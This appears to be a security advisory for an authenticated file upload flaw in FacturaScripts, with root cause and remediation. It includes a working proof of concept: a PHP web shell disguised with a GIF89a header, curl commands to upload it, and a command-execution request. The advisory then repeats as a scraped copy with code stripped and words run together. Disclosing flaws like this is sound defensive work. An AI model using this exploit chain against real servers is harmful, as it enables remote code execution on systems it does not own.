CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass
Summary
An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.
Details
The vulnerability exists in:
Core/Lib/ExtendedController/ProductImagesTrait.php
Specifically in the addImageAction() method.
Vulnerable Code
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
Root Cause
- The validation only checks if MIME type contains
"image/"
- This can be bypassed by prepending GIF89a magic bytes to a PHP file
- The system incorrectly identifies the file as
image/gif
- The file is saved with a
.php extension in a web-accessible directory
File Storage Behavior
Uploaded files are stored in:
/MyFiles/YYYY/MM/X.php
Where X is an auto-incrementing ID. This allows direct remote execution:
http://target/MyFiles/2026/03/2.php?cmd=id
Impact
Successful exploitation:
An attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.
Proof of Concept (Manual)
Step 1: Create malicious file
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF
Step 2: Authenticate
- Login to the application
- Extract
PHPSESSID from browser cookies
Step 3: Get CSRF token
curl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
Step 4: Upload shell
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[]=@shell.jpg.php"
Step 5: Execute command
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
Affected Products
| Field |
Value |
| Ecosystem |
Packagist |
| CVE ID |
CVE-2026-42879 |
| Package Name |
facturascripts/facturascripts |
| Affected Versions |
<= 2025.81 |
| Patched Versions |
Not yet patched |
| Fixed in |
Pending |
Remediation Recommendations
- Validate file extension — reject any upload where the filename ends in
.php, .phtml, .phar, or other executable extensions, regardless of MIME type
- Re-generate filenames on the server — never use
getClientOriginalName(); assign a safe UUID-based name with a validated extension
- Store uploads outside the webroot — serve files through a controller that streams content, preventing direct URL execution
- Use a file type library — validate actual file content (magic bytes + extension + MIME type) with a library like
fileinfo rather than trusting client-supplied MIME
Credits
- Discoverer: Abdullah Alwasabei / Guzrex
References
CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass
Summary
An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.
Details
The vulnerability exists in:
Core/Lib/ExtendedController/ProductImagesTrait.phpSpecifically in the
addImageAction()method.Vulnerable Code
Root Cause
"image/"image/gif.phpextension in a web-accessible directoryFile Storage Behavior
Uploaded files are stored in:
Where
Xis an auto-incrementing ID. This allows direct remote execution:Impact
Successful exploitation:
An attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.
Proof of Concept (Manual)
Step 1: Create malicious file
Step 2: Authenticate
PHPSESSIDfrom browser cookiesStep 3: Get CSRF token
Step 4: Upload shell
Step 5: Execute command
curl "http://target/MyFiles/2026/03/2.php?cmd=id"Affected Products
facturascripts/facturascriptsRemediation Recommendations
.php,.phtml,.phar, or other executable extensions, regardless of MIME typegetClientOriginalName(); assign a safe UUID-based name with a validated extensionfileinforather than trusting client-supplied MIMECredits
References